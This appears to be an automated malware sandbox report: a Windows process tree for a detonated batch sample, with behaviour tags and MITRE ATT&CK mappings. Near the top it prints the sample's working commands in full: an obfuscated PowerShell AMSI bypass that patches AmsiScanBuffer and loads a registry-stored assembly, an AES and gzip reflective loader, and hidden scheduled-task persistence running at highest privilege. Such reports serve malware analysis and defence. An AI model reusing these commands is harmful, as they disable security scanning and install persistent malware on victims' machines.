  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:syZfBGCDSMZu{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$qmeQXMwVOZNzvV,[Parameter(Position=1)][Type]$kdZNxMciGG)$hqnNXwaAOhn=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+'f'+[Char](108)+''+[Char](101)+''+'c'+'t'+[Char](101)+''+[Char](100)+''+[Char](68)+''+'e'+''+[Char](108)+'e'+[Char](103)+'a'+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+[Char](101)+''+[Char](109)+'o'+'r'+'yM'+[Char](111)+''+[Char](100)+''+'u'+''+[Char](108)+''+'e'+'',$False).DefineType(''+'M'+''+'y'+''+'D'+''+'e'+''+[Char](108)+''+[Char](101)+'ga'+[Char](116)+''+[Char](101)+'Ty'+[Char](112)+''+[Char](101)+'','Cl'+[Char](97)+''+'s'+''+[Char](115)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+'i'+''+[Char](99)+''+','+''+'S'+'e'+[Char](97)+''+[Char](108)+''+'e'+''+[Char](100)+''+','+''+'A'+''+'n'+'s'+'i'+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+'A'+[Char](117)+''+'t'+''+[Char](111)+''+'C'+'l'+[Char](97)+''+[Char](115)+'s',[MulticastDelegate]);$hqnNXwaAOhn.DefineConstructor(''+'R'+'TS'+[Char](112)+''+[Char](101)+''+[Char](99)+'i'+'a'+''+[Char](108)+''+'N'+'a'+[Char](109)+'e'+[Char](44)+''+'H'+''+[Char](105)+''+[Char](100)+''+'e'+''+[Char](66)+''+[Char](121)+''+[Char](83)+'i'+'g'+''+[Char](44)+''+[Char](80)+''+[Char](117)+'b'+[Char](108)+'i'+'c'+'',[Reflection.CallingConventions]::Standard,$qmeQXMwVOZNzvV).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+[Char](116)+''+'i'+''+[Char](109)+'e,'+[Char](77)+''+[Char](97)+''+[Char](110)+'a'+[Char](103)+''+[Char](101)+''+'d'+'');$hqnNXwaAOhn.DefineMethod(''+'I'+''+[Char](110)+''+'v'+''+[Char](111)+''+[Char](107)+'e',''+'P'+''+'u'+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+'H'+[Char](105)+'d'+'e'+''+[Char](66)+'y'+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](78)+''+[Char](101)+''+[Char](119)+''+'S'+''+'l'+''+[Char](111)+''+[Char](116)+','+[Char](86)+''+'i'+'r'+'t'+''+[Char](117)+''+[Char](97)+''+[Char](108)+'',$kdZNxMciGG,$qmeQXMwVOZNzvV).SetImplementationFlags('R'+[Char](117)+''+'n'+''+[Char](116)+''+'i'+''+[Char](109)+''+'e'+''+[Char](44)+''+'M'+'a'+[Char](110)+''+[Char](97)+''+[Char](103)+''+'e'+''+'d'+'');Write-Output $hqnNXwaAOhn.CreateType();}$bphuuqKvRHQql=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+'y'+''+'s'+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+'d'+''+'l'+''+[Char](108)+'')}).GetType(''+[Char](77)+''+'i'+'cr'+[Char](111)+''+'s'+''+'o'+''+[Char](102)+''+'t'+'.'+[Char](87)+''+'i'+'n'+'3'+''+[Char](50)+''+'.'+''+[Char](85)+'n'+[Char](115)+''+[Char](97)+''+[Char](102)+''+[Char](101)+''+[Char](78)+''+[Char](97)+'t'+[Char](105)+'v'+[Char](101)+''+[Char](77)+'e'+'t'+''+[Char](104)+''+[Char](111)+'d'+[Char](115)+'');$SFfaathrTTYluB=$bphuuqKvRHQql.GetMethod(''+[Char](71)+'e'+[Char](116)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](99)+''+'A'+'ddr'+[Char](101)+''+'s'+''+'s'+'',[Reflection.BindingFlags]('P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+''+'S'+''+[Char](116)+''+[Char](97)+''+[Char](116)+''+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$zjfJzIHGnwFqVOCQpVJ=syZfBGCDSMZu @([String])([IntPtr]);$IWOpzogUNncEuhEBjnktJZ=syZfBGCDSMZu @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$bWHixHRHZpt=$bphuuqKvRHQql.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+''+[Char](77)+'o'+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+''+[Char](72)+''+[Char](97)+''+'n'+'d'+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object]('k'+'e'+''+[Char](114)+''+'n'+''+'e'+''+'l'+''+[Char](51)+''+[Char](50)+'.'+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$CvSRrCCrRuXvLC=$SFfaathrTTYluB.Invoke($Null,@([Object]$bWHixHRHZpt,[Object]('Lo'+[Char](97)+''+'d'+''+[Char](76)+''+[Char](105)+'b'+[Char](114)+'a'+[Char](114)+'y'+[Char](65)+'')));$rCULTAofcOcpQCMXX=$SFfaathrTTYluB.Invoke($Null,@([Object]$bWHixHRHZpt,[Object](''+[Char](86)+'i'+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+'P'+[Char](114)+''+[Char](111)+''+[Char](116)+''+[Char](101)+'c'+[Char](116)+'')));$DPYxhzF=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CvSRrCCrRuXvLC,$zjfJzIHGnwFqVOCQpVJ).Invoke('a'+[Char](109)+''+'s'+''+[Char](105)+''+'.'+'d'+[Char](108)+''+[Char](108)+'');$SCfglOrXBRhsInWQu=$SFfaathrTTYluB.Invoke($Null,@([Object]$DPYxhzF,[Object]('A'+[Char](109)+''+'s'+'i'+[Char](83)+''+[Char](99)+''+[Char](97)+'n'+[Char](66)+'u'+[Char](102)+''+[Char](102)+'e'+'r'+'')));$yiNfrIvttr=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($rCULTAofcOcpQCMXX,$IWOpzogUNncEuhEBjnktJZ).Invoke($SCfglOrXBRhsInWQu,[uint32]8,4,[ref]$yiNfrIvttr);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$SCfglOrXBRhsInWQu,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($rCULTAofcOcpQCMXX,$IWOpzogUNncEuhEBjnktJZ).Invoke($SCfglOrXBRhsInWQu,[uint32]8,0x20,[ref]$yiNfrIvttr);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+[Char](70)+'T'+[Char](87)+''+[Char](65)+''+[Char](82)+'E').GetValue(''+[Char](36)+'n'+'y'+'a'+[Char](45)+''+[Char](115)+''+[Char](116)+'a'+[Char](103)+'e'+'r'+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3224

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1276

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1352

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1364

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1400

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1472
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:3056

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1588

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1596

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1652

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1756

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1764

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1796

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1848

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1904

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1916

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1980

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1016

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2100

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2136

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2212

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2332

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2336

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2456

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2552

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2620

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2636

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2680

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2964

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:3068

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3136

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3364

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3460
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\69e99e962f784f1d4ac17447a74741ff7da3efe70522df9a7bc070b431e4bec0.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4912
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function pPrLV($xjezz){ $wMHou=[System.Security.Cryptography.Aes]::Create(); $wMHou.Mode=[System.Security.Cryptography.CipherMode]::CBC; $wMHou.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $wMHou.Key=[System.Convert]::FromBase64String('lO1Vwq/nj9Puc/oGonhZjSQq/nzSWIn0lm/0BxXEcbE='); $wMHou.IV=[System.Convert]::FromBase64String('Z8/xZ+jsEzHKXXOs4H9TJQ=='); $LmFjs=$wMHou.CreateDecryptor(); $ZsDwh=$LmFjs.TransformFinalBlock($xjezz, 0, $xjezz.Length); $LmFjs.Dispose(); $wMHou.Dispose(); $ZsDwh;}function gbxhW($xjezz){ IEX '$Ovdns=New-Object System.IO.M*em*or*yS*tr*ea*m(,$xjezz);'.Replace('*', ''); IEX '$pBnCe=New-Object System.IO.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); IEX '$KPnRz=New-Object System.IO.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($Ovdns, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $KPnRz.CopyTo($pBnCe); $KPnRz.Dispose(); $Ovdns.Dispose(); $pBnCe.Dispose(); $pBnCe.ToArray();}function DUZhs($xjezz,$VPKjP){ IEX '$osgqK=[System.R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$xjezz);'.Replace('*', ''); IEX '$vIuGg=$osgqK.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); IEX '$vIuGg.*I*n*v*o*k*e*($null, $VPKjP);'.Replace('*', '');}$IVcAh = 'C:\Users\Admin\AppData\Local\Temp\69e99e962f784f1d4ac17447a74741ff7da3efe70522df9a7bc070b431e4bec0.bat';$host.UI.RawUI.WindowTitle = $IVcAh;$vvRPw=[System.IO.File]::ReadAllText($IVcAh).Split([Environment]::NewLine);foreach ($OSbaK in $vvRPw) { if ($OSbaK.StartsWith(':: ')) { $wgCug=$OSbaK.Substring(3); break; }}$IWIwq=[string[]]$wgCug.Split('\');IEX '$VTaqv=gbxhW (pPrLV ([*C*o*n*v*e*rt]::*F*r*o*m*B*a*se6*4*S*t*ri*n*g*($IWIwq[0])));'.Replace('*', '');IEX '$ZEjBw=gbxhW (pPrLV ([*C*o*n*v*e*r*t]::*F*r*o*m*B*a*s*e*6*4*S*tr*i*n*g($IWIwq[1])));'.Replace('*', '');DUZhs $VTaqv $null;DUZhs $ZEjBw (,[string[]] ('')); "
    3⤵
    PID:228
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4452
  - - C:\Windows\SYSTEM32\schtasks.exe
      "schtasks" /create /ru builtin\Users /sc onlogon /tn $nya-Loli_ /F /RL HIGHEST /tr "cmd.exe /b /c start \"cmd.exe\" \"C:\Windows\$nya-onimai3\$nya-Loli.bat\""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1604
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Register-ScheduledTask -TaskName '$nya-Loli_1' -Action (New-ScheduledTaskAction -Execute 'C:\Windows\$nya-onimai3\$nya-Loli.bat') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0 -RestartInterval (New-TimeSpan -Minutes 1) -RestartCount 3 -StartWhenAvailable) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3964
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-ScheduledTask -TaskName '$nya-Loli_1'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4744

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3572

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3744

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3932

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4172

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:5064

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4528

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:1200

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:3876

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1160

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:3880

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4300

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3668

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:4656

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:892

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:4476

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Enumerates system info in registry
PID:3156

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:3360

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:2892

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
PID:636

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
PID:3604

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery